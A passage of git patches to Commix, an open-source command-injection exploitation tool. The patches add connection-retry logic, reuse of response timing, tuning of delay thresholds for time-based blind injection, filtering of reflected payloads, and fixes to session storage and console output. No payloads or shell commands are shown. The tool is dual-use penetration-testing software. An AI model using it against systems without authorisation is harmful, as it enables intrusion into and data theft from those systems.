settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Check for 3xx, 4xx, 5xx HTTP error codes. + if str(err.code).startswith(('3', '4', '5')): + settings.HTTP_ERROR_CODES_SUM.append(err.code) + if settings.VERBOSITY_LEVEL >= 2: + parts = str(err).split(": ") + if len(parts) > 1 and len(parts[1]) == 0: + error_msg = "Non-standard HTTP status code" + return None + else: + error_msg = str(err).replace(": ", " (") parts = str(err).split(": ") if len(parts) > 1 and len(parts[1]) == 0: - error_msg = "Non-standard HTTP status code" - pass - else: - error_msg = str(err).replace(": ", " (") - parts = str(err).split(": ") - if len(parts) > 1 and len(parts[1]) == 0: - err_msg = error_msg + "Non-standard HTTP status code" + err_msg = error_msg + "Non-standard HTTP status code" + else: + err_msg = error_msg + + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) + raise SystemExit() + + except _urllib.error.URLError as err: + if not menu.options.drop_set_cookie: + checks.handle_server_cookies(err) + reason = str(getattr(err, 'reason', 'Unknown error')) + reason_parts = reason.split(settings.SINGLE_WHITESPACE) + if len(reason_parts) > 2: + response_headers = settings.SINGLE_WHITESPACE.join(reason_parts[2:]) + "." else: - err_msg = error_msg - - settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) + response_headers = reason + if not response_headers.endswith("."): + response_headers += "." + code = "" + page = "" + print_http_response(response_headers, code, page) + settings.print_data_to_stdout(settings.print_critical_msg("URL Error: " + reason)) raise SystemExit() - except _urllib.error.URLError as err: - if not menu.options.drop_set_cookie: - checks.handle_server_cookies(err) - reason = str(getattr(err, 'reason', 'Unknown error')) - reason_parts = reason.split(settings.SINGLE_WHITESPACE) - if len(reason_parts) > 2: - response_headers = settings.SINGLE_WHITESPACE.join(reason_parts[2:]) + "." - else: - response_headers = reason - if not response_headers.endswith("."): - response_headers += "." - code = "" - page = "" - print_http_response(response_headers, code, page) - settings.print_data_to_stdout(settings.print_critical_msg("URL Error: " + reason)) - raise SystemExit() + # A raw connection-level error - retry it like any other transient failure. + except (SocketError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead) as err: + if stability.should_retry_connection_error(err): + response = False + continue + err_msg = "The target host is not responding. Please ensure that is up and try again." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check for added headers. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index eabf65a95c..410c106ed4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -33,6 +33,7 @@ from src.core.requests import parameters from src.core.requests import redirection from src.core.requests import authentication +from src.core.requests import stability from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib @@ -42,24 +43,36 @@ """ Check if the content of the given URL is stable over time. """ -def is_url_content_stable(url, delay=5): +def is_url_content_stable(url, response=None, fetch_time=None): status = "stable" debug_msg = "Testing if the target URL content remains consistent between requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - try: - first_response_content = response.read().strip() - finally: - response.close() - - time.sleep(delay) - - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + if response is not None: + # Reuse the connection-test response and make .read() reusable for later checks. + raw_body = response.read() + first_response_content = raw_body.strip() + response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) + else: + first_response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + try: + first_response_content = first_response.read().strip() + finally: + first_response.close() + fetch_time = time.time() + + # Only wait out what's left of the window - earlier steps (WAF check) count too. + remaining = settings.STABILITY_CHECK_DELAY + if fetch_time is not None: + remaining = max(0, min(settings.STABILITY_CHECK_DELAY, settings.STABILITY_CHECK_DELAY - (time.time() - fetch_time))) + if remaining: + time.sleep(remaining) + + second_response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) try: - second_response_content = response.read().strip() + second_response_content = second_response.read().strip() finally: - response.close() + second_response.close() if first_response_content != second_response_content: status = "dynamic" @@ -112,10 +125,17 @@ def crawler_request(url, http_request_method): def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False _ = False + + # Reuse url_response()'s clean response to avoid a duplicate round-trip. + if settings.INIT_CONNECTION_TIME is not None: + diff = settings.INIT_CONNECTION_TIME + settings.INIT_CONNECTION_TIME = None + return _finish_response_time_estimate(diff, timesec) + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - + # Check if defined POST data if menu.options.data: request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) @@ -263,7 +283,12 @@ def estimate_response_time(url, timesec, http_request_method): end = time.time() diff = end - start - + return _finish_response_time_estimate(diff, timesec) + +""" +Convert the measured round-trip time into the slow-target warning and adjusted timesec. +""" +def _finish_response_time_estimate(diff, timesec): if int(diff) < 1: url_time_response = int(diff) else: @@ -273,12 +298,9 @@ def estimate_response_time(url, timesec, http_request_method): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" + warn_msg += " second" + "s"[url_time_response == 1:] + ". Data extraction may be delayed" if url_time_response >= 3: - warn_msg += " serious" - warn_msg += " delays during the data extraction procedure" - if url_time_response >= 3: - warn_msg += " and/or possible corruptions over the extracted data" + warn_msg += " and/or corrupted" warn_msg += "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -287,6 +309,7 @@ def estimate_response_time(url, timesec, http_request_method): else: timesec = int(timesec) + settings.URL_TIME_RESPONSE = url_time_response return timesec, url_time_response """ @@ -294,11 +317,11 @@ def estimate_response_time(url, timesec, http_request_method): """ def request_failed(err_msg): - settings.VALID_URL = False + stability.mark_url_invalid() # A deliberately unfollowed redirect isn't a real failure. if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): - settings.VALID_URL = True + stability.mark_url_valid() return False try: @@ -310,7 +333,7 @@ def request_failed(err_msg): error_msg = str(err_msg) if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): - settings.MAX_RETRIES = 1 + stability.disable_retries() error_msg = "Can't establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + "Skipping to the next target." @@ -321,7 +344,7 @@ def request_failed(err_msg): return False elif re.search(r"(connection\s*refused|timed?\s*out|no\s*route|unreachable|tunnel)", str(error_msg), re.IGNORECASE): - settings.MAX_RETRIES = 1 + stability.disable_retries() err = "Unable to connect to the target URL" if menu.options.tor: err += " using the Tor network" @@ -383,6 +406,9 @@ def request_failed(err_msg): if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True + elif stability.should_retry_connection_error(error_msg): + # Likely transient noise, not a dead target. + return True else: error_msg = "The provided target URL seems not reachable. " items = [] @@ -484,7 +510,7 @@ def init_injection(payload, http_request_method, url): if settings.TIME_RELATED_ATTACK: end = time.time() - response = int(end - start) + response = end - start else: exec_time = response @@ -536,7 +562,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATED_ATTACK : end = time.time() - exec_time = int(end - start) + exec_time = end - start return exec_time else: return response @@ -579,7 +605,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATED_ATTACK : end = time.time() - exec_time = int(end - start) + exec_time = end - start return exec_time else: return response @@ -622,7 +648,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATED_ATTACK : end = time.time() - exec_time = int(end - start) + exec_time = end - start return exec_time else: return response @@ -665,7 +691,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATED_ATTACK : end = time.time() - exec_time = int(end - start) + exec_time = end - start return exec_time else: return response @@ -708,7 +734,7 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATED_ATTACK : end = time.time() - exec_time = int(end - start) + exec_time = end - start return exec_time else: return response diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py new file mode 100644 index 0000000000..937ecdd49f --- /dev/null +++ b/src/core/requests/stability.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +Connection-level resilience: retry transient failures instead of aborting, +and detect retries that inflate timing measurements. +""" + +""" +Reset the connection-error budget after a clean success. +""" +def reset_connection_error_budget(): + settings.CONNECTION_ERROR_RETRIES = 0 + +""" +True and warns if the connection-error budget allows another attempt; False once exhausted. +""" +def should_retry_connection_error(err): + if settings.CONNECTION_ERROR_RETRIES < settings.MAX_CONNECTION_ERROR_RETRIES: + settings.CONNECTION_ERROR_RETRIES = settings.CONNECTION_ERROR_RETRIES + 1 + warn_msg = "Connection dropped (" + str(err) + "), reconnecting (" + str(settings.CONNECTION_ERROR_RETRIES) + "/" + str(settings.MAX_CONNECTION_ERROR_RETRIES) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.VISIBLE_CONNECTION_ERRORS += 1 + return True + return False + +""" +True once the connection-error budget is used up. +""" +def connection_error_budget_exhausted(): + return settings.CONNECTION_ERROR_RETRIES >= settings.MAX_CONNECTION_ERROR_RETRIES + +""" +Retry delay in seconds; 0 during timing attacks to avoid inflating exec_time. +""" +def retry_delay_seconds(): + return 0 if settings.TIME_RELATED_ATTACK else settings.DELAY_RETRY + +""" +True if a transport-level retry happened mid-measurement, making exec_time untrustworthy. +""" +def request_was_retried(requests_before): + return settings.TOTAL_OF_REQUESTS - requests_before > 1 + +""" +True while the request loop should keep retrying: not succeeded, within budget, not unauthorized. +""" +def should_keep_retrying(succeeded, unauthorized): + return not succeeded and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and not unauthorized + +""" +Grow the retry budget after progress. +""" +def expand_retry_budget(): + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + +""" +Stop growing the retry budget once retries won't help. +""" +def freeze_retry_budget(): + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + +""" +Cut retries to one for clearly fatal errors. +""" +def disable_retries(): + settings.MAX_RETRIES = 1 + +""" +True once a single-target scan has exhausted retries and the connection-error budget. +""" +def should_abandon_target(): + return settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS and connection_error_budget_exhausted() + +""" +Mark the target URL unreachable. +""" +def mark_url_invalid(): + settings.VALID_URL = False + +""" +Mark the target URL reachable. +""" +def mark_url_valid(): + settings.VALID_URL = True diff --git a/src/core/testing.py b/src/core/testing.py index 54702c9ddc..4e4dd39c98 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -54,5 +54,3 @@ def smoke_test(): result = result + "failed." settings.print_data_to_stdout(settings.print_bold_error_msg(result)) raise SystemExit() - - diff --git a/src/utils/common.py b/src/utils/common.py index d84d2bab34..ab0d914a91 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -46,19 +46,25 @@ def invalid_option(option): """ def safe_input(message): try: - return _input(message) + value = _input(message) except UnicodeDecodeError as e: - return _input(message.encode("utf-8", "ignore").decode("utf-8")) + value = _input(message.encode("utf-8", "ignore").decode("utf-8")) except EOFError: raise except Exception as err_msg: settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return "" + # Enter starts a fresh line, bypassing print_data_to_stdout's tracking. + settings.PROGRESS_LINE_OPEN = False + return value """ Reads input from terminal """ def read_input(message, default=None, check_batch=True): + # Close the spinner line before prompting unless the message is empty. + if message: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) def is_empty(): value = safe_input(settings.print_message(message)) if len(value) == 0: diff --git a/src/utils/menu.py b/src/utils/menu.py index 6e71ddb0ed..5b66f843ab 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -663,8 +663,7 @@ def banner(): parser.add_option_group(misc) """ -Dirty hack from sqlmap [1], to display longer options without breaking into two lines. -[1] https://github.com/sqlmapproject/sqlmap/blob/fdc8e664dff305aca19acf143c7767b9a7626881/lib/parse/cmdline.py +Truncate long option strings so they don't wrap onto a second line. """ def _(self, *args): _ = parser.formatter._format_option_strings(*args) diff --git a/src/utils/purge.py b/src/utils/purge.py index 0efe0d5a8b..52b65abbfb 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -13,11 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -""" -Based on "purge.py" script from sqlmap [1]. -[1] https://github.com/sqlmapproject/sqlmap/blob/master/lib/utils/purge.py -""" - import os import sys import stat diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 8cfc92e832..707b7f1b87 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -129,7 +129,12 @@ def clear(url): try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" - + + # Nothing to clear if the table hasn't been created yet. + if conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is None: + conn.close() + return + # Query to get the smallest (earliest) id for each unique combination of url and technique query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique;" cursor = conn.execute(query) @@ -226,7 +231,7 @@ def applied_techniques(url, http_request_method): conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - result = conn.execute(query, (table,)) + result = conn.execute(query, (table,)).fetchone() if result: query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() @@ -255,7 +260,7 @@ def applied_levels(url, http_request_method): conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - result = conn.execute(query, (table,)) + result = conn.execute(query, (table,)).fetchone() if result: query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() @@ -278,7 +283,7 @@ def applied_levels(url, http_request_method): """ -Load a matching stored injection point and update settings when found. +Find a stored injection point matching the URL, parameter, and HTTP method, then restore its settings. """ def check_stored_injection_points(url, check_parameter, http_request_method): try: @@ -349,7 +354,7 @@ def check_stored_injection_points(url, check_parameter, http_request_method): """ -Load all stored injection points once, keyed by technique. +Fetch all stored injection points in one query, keyed by technique. """ def load_stored_techniques(url, check_parameter, http_request_method): stored = {} diff --git a/src/utils/settings.py b/src/utils/settings.py index b4f5fa419f..98bc1d0ffb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -219,11 +219,43 @@ def command_execution_output(shell): Print data to stdout """ def print_data_to_stdout(data): - if END_LINE.CR not in data and data != "." and data != " (done)": - data = data + END_LINE.LF + global PROGRESS_LINE_OPEN with PRINT_LOCK: + # A bare "\r" only moves the cursor and does not open a line. + if data == END_LINE.CR: + sys.stdout.write(data) + sys.stdout.flush() + return + + has_cr = END_LINE.CR in data + has_lf = END_LINE.LF in data + is_spinner_style = has_cr or data == "." or data == " (done)" + is_established_closer = data == SINGLE_WHITESPACE + + if is_established_closer and not PROGRESS_LINE_OPEN: + return # nothing open to close - skip the cosmetic blank line + + # Spinner continuations can append directly; other output needs a newline first. + if PROGRESS_LINE_OPEN and not is_spinner_style and not is_established_closer: + sys.stdout.write(END_LINE.LF) + + # Only spinner output stays unterminated; other messages always end with a newline. + if not is_spinner_style: + data = data + END_LINE.LF + sys.stdout.write(data) sys.stdout.flush() + PROGRESS_LINE_OPEN = is_spinner_style and not has_lf + +""" +Clear the current line before printing, without adding a blank line when already empty. +""" +def clear_current_line(): + global PROGRESS_LINE_OPEN + with PRINT_LOCK: + sys.stdout.write(END_LINE.CR + "\033[K") + sys.stdout.flush() + PROGRESS_LINE_OPEN = False """ argv input errors @@ -264,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "73" +REVISION = "74" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -465,6 +497,8 @@ class OS(object): TEMPFILE_BASED_STATE = False TIME_RELATED_ATTACK = False TIME_RELATED_ATTACK_WARNING = False +LAST_COMPLETED_TECHNIQUE = None +LAST_DOT_BUCKET = -1 # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" @@ -505,6 +539,21 @@ class OS(object): # Slow target response. SLOW_TARGET_RESPONSE = 3 +# Measure the target's baseline latency once to floor the initial --time-sec value. +URL_TIME_RESPONSE = 0 + +# Cache url_response()'s connection-test timing for reuse by estimate_response_time(). +INIT_CONNECTION_TIME = None + +# When that connection-test response was fetched (time.time()). +INIT_CONNECTION_FETCH_TIME = None + +# URL actually used for that request (may carry the WAF probe marker). +INIT_CONNECTION_URL = None + +# Max wait before re-checking page stability. +STABILITY_CHECK_DELAY = 0.5 + RESPONSE_DELAYS = False # The testable parameter. @@ -517,45 +566,9 @@ class OS(object): EXTRA_HTTP_HEADERS = False -# Lowercase letters (most frequent first) -FREQ_LOWER = [ - 101, 116, 97, 111, 105, 110, 115, 114, 104, 100, - 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, - 118, 107, 106, 120, 113, 122 -] - -# Digits (1–9 first, 0 last) -DIGITS = [49, 50, 51, 52, 53, 54, 55, 56, 57, 48] - -# Uppercase letters (most frequent first) -FREQ_UPPER = [ - 69, 84, 65, 79, 73, 78, 83, 82, 72, 68, - 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, - 86, 75, 74, 88, 81, 90 -] - -# Common printable ASCII symbols (ordered last in charset) -# Includes space and frequently used separators first: _ - . / @ -# Followed by the remaining printable punctuation ranges: -# 33–44 -> ! " # $ % & ' ( ) * + , -# 58–63 -> : ; < = > ? -# 91–94 -> [ \ ] ^ -# 96 -> ` -# 123–126-> { | } ~ -# Remove duplicates while preserving the defined symbol order -SYMBOLS = ( - [32, 95, 45, 46, 47, 64] + - list(range(33, 45)) + - list(range(58, 64)) + - list(range(91, 95)) + - list(range(96, 97)) + - list(range(123, 127)) -) - -SYMBOLS = [x for i, x in enumerate(SYMBOLS) if x not in SYMBOLS[:i]] - -CHAR_POOL_SINGLE = (FREQ_UPPER + FREQ_LOWER + DIGITS + SYMBOLS) -CHAR_POOL_MULTI = (FREQ_LOWER + DIGITS + FREQ_UPPER + SYMBOLS) +# Use the full printable ASCII range; bisection only depends on ordinal bounds. +CHAR_POOL_SINGLE = list(range(32, 127)) +CHAR_POOL_MULTI = list(range(32, 127)) # The command injection separators. SEPARATORS = [] @@ -622,7 +635,10 @@ class OS(object): TIMESEC = 0 # Minimum safe delay for time-related techniques. -MIN_SAFE_TIMESEC = 0.5 +MIN_SAFE_TIMESEC = 1 + +# Higher minimum delay applied once this run has confirmed the target is unstable. +MIN_SAFE_TIMESEC_UNSTABLE = 10 # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 @@ -635,6 +651,9 @@ class OS(object): PRINT_LOCK = _threading.Lock() REQUESTS_LOCK = _threading.Lock() +# Whether the last stdout line is still open (progress refresh / spinner dot). +PROGRESS_LINE_OPEN = False + DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 @@ -744,6 +763,15 @@ class OS(object): # Accepts 'C','c','S','s','Q','q','A','a' CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] +# Remembers the answer to the "unexpected time delays" prompt so it isn't asked again this run. +UNSTABLE_REQUEST_CHOICE = None + +# How many seconds "Continue" has already added to timesec, capped by MAX_UNSTABLE_TIMESEC_BUMP. +UNSTABLE_REQUEST_BUMPS = 0 + +# Maximum cumulative seconds "Continue" may add to timesec over the run. +MAX_UNSTABLE_TIMESEC_BUMP = 5 + # Available alternative shells AVAILABLE_SHELLS = ["python"] @@ -1275,6 +1303,65 @@ class END_LINE: # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 +# Consecutive connection errors tolerated before giving up. +CONNECTION_ERROR_RETRIES = 0 +MAX_CONNECTION_ERROR_RETRIES = 5 + +# Count of connection-error warnings actually shown - excludes silent, harmless retries. +VISIBLE_CONNECTION_ERRORS = 0 + +# Statistical model for recognizing a delay against this target's own response times. +TIME_STDEV_COEFF = 7 +TIME_OUTLIER_MAD_COEFF = 10 +# Decision-threshold floor and shrink-candidate validity margin. +MIN_VALID_DELAYED_RESPONSE = 0.5 +WARN_TIME_STDEV = 0.5 + +# One escalate/shrink step, in seconds - separate from the floor above. +TIME_DELAY_STEP = 1 +MIN_TIME_RESPONSES = 50 +MAX_TIME_RESPONSES = 200 +RESPONSE_TIMES = [] +LAGGING_CHECKED = False +TIME_DELAY_CANDIDATES = 3 + +# Best known timesec for this target, reused across commands to avoid recalibration. +CALIBRATED_TIMESEC = None + +# Latched once a re-verification ever fails - widens retries and upgrades checks to a vote. +JITTER_SEEN = False +MAX_LENGTH_REVALIDATIONS = 5 + +# Use the observed charset for bisection when it is small enough; otherwise use the full range. +NARROWING_MIN_OBSERVED = 3 +NARROWING_MAX_SET_SIZE = 64 + +# Prevent auto-shrink from undoing a delay increase after validation. +ADJUST_TIME_DELAY_DISABLED = False + +# User's one-time answer to time-sec optimization; None means not asked yet. +ADJUST_TIME_DELAY_CHOICE = None + +# Count clean validations since the last retry before re-enabling automatic delay adjustment. +VALIDATION_RUN = 0 +VALID_TIME_CHARS_RUN_THRESHOLD = 100 + +# User's one-time answer to the multi-threading safety prompt; None means not asked yet. +THREADED_TIME_RETRIEVAL_CHOICE = None + +# Technique titles to suppress when a fallback already announced the transition. +SKIP_NEXT_TECHNIQUE_TITLE = None + +# Retries for the false-positive/unexploitable-point re-verification during detection. +FALSE_POSITIVE_RETRIES = 5 + +# Prefix marking an interrupted command result for resumption instead of replay. +PARTIAL_VALUE_MARKER = "\x02COMMIX_PARTIAL\x02" + +# Max characters shown at once in the live "characters extracted so far" progress line - +# a long output shows only a trailing window of this width instead of growing unbounded. +PROGRESS_DISPLAY_WIDTH = 60 + # End of file EOF = False From 8aa9c063aeb35ea98ac54b38f0009b9392e652b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Aug 2026 08:10:08 +0300 Subject: [PATCH 0731/1023] Multiple bug-fixes improving detection accuracy and reliability for results-based techniques --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 20 +++++++++-- src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/injector.py | 9 ++++- .../techniques/classic/cb_injector.py | 4 +-- .../techniques/eval_based/eb_injector.py | 4 +-- src/core/main.py | 2 +- src/core/requests/headers.py | 24 ++++++++++--- src/core/requests/requests.py | 34 +++++++++++++------ src/utils/settings.py | 8 ++++- 10 files changed, 82 insertions(+), 26 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 761515d6c9..22f9f3af24 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. * Fixed: Improved timing-delay reliability and thread-safety for time-related techniques. * Revised: Improved redirect handling and connection performance. * Fixed: Multiple bug-fixes affecting the reliability of `--tmp-path` and `--web-root`. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7df3d66702..76ad9f921b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -757,6 +757,21 @@ def process_page_content(response, action): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Ignore verbatim payload reflections so they cannot trigger a false positive. +""" +def remove_reflected_values(html_data, payload): + if not payload: + return html_data + decoded_payload = _urllib.parse.unquote(payload) + if decoded_payload and decoded_payload in html_data: + if not settings.REFLECTIVE_VALUE_FOUND: + settings.REFLECTIVE_VALUE_FOUND = True + warn_msg = "Target parameter value(s) appear to be reflected in the response - filtering reflected content." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + html_data = html_data.replace(decoded_payload, settings.SINGLE_WHITESPACE) + return html_data + """ Returns header value ignoring the letter case """ @@ -1445,9 +1460,8 @@ def time_related_shell(url_time_response, exec_time, timesec): lower_limit = current_delay_threshold() delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec - # Asked once, the first time any response actually reads as delayed - same gate - # governs both raising the delay on failure and shrinking it on good responses. - if delayed and settings.ADJUST_TIME_DELAY_CHOICE is None: + # Prompt once on the first delayed exploitation response; use the same gate for delay adjustments. + if delayed and settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 50f15d539b..4872d3c9c6 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -583,7 +583,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) - shell = injector.injection_test_results(response, TAG, randvcalc, technique) + shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload) if settings.VERBOSITY_LEVEL == 0: percent, float_percent = checks.percentage_calculation(i, total) percent = checks.print_percentage(float_percent, no_result, shell) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index dc782e494a..60bd174cff 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -88,6 +88,11 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa # Warn about network load once before the first command that needs it. checks.time_related_attaks_msg() + # Ask upfront instead of waiting for the first delayed response. + if settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: + msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " + settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES + # An interrupted prior run's partial value carries an already-confirmed length. _stored_partial = None if not menu.options.ignore_session: @@ -917,7 +922,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc, technique): +def injection_test_results(response, TAG, randvcalc, technique, payload=None): if type(response) is bool and response != True or response is None: return False @@ -935,6 +940,7 @@ def injection_test_results(response, TAG, randvcalc, technique): html_data = unescape(html_data) # Replace non-ASCII characters with a single space re.sub(r"[^\x00-\x7f]",r" ", html_data) + html_data = checks.remove_reflected_values(html_data, payload) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + TAG + TAG, html_data) else: @@ -944,6 +950,7 @@ def injection_test_results(response, TAG, randvcalc, technique): else: html_data = checks.process_page_content(response, action="decode") html_data = re.sub(settings.END_LINE.LF, settings.SINGLE_WHITESPACE, html_data) + html_data = checks.remove_reflected_values(html_data, payload) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index a510056dec..5e433b8e31 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -22,8 +22,8 @@ """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc, technique): - return injector.injection_test_results(response, TAG, randvcalc, technique) +def injection_test_results(response, TAG, randvcalc, technique, payload=None): + return injector.injection_test_results(response, TAG, randvcalc, technique, payload) """ The main command injection exploitation. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 4c35003568..9e149d12ee 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -22,8 +22,8 @@ """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc, technique): - return injector.injection_test_results(response, TAG, randvcalc, technique) +def injection_test_results(response, TAG, randvcalc, technique, payload=None): + return injector.injection_test_results(response, TAG, randvcalc, technique, payload) """ The main command injection exploitation. diff --git a/src/core/main.py b/src/core/main.py index 1c471075fe..a7585996bd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -598,7 +598,7 @@ def main(filename, url, http_request_method): # Procedure for target server identification. requests.server_identification(response) # Procedure for target application identification - requests.application_identification(url) + requests.application_identification(url, response) # Specifies the technology supporting the web application requests.technology_identification(response) # Procedure for target server's operating system identification. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 02d7bf958d..f141397d92 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -101,6 +101,8 @@ def print_http_response(response_headers, code, page): if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: + # Blank line separating this response block from the request block printed before it. + settings.print_data_to_stdout("") resp_msg = "HTTP response 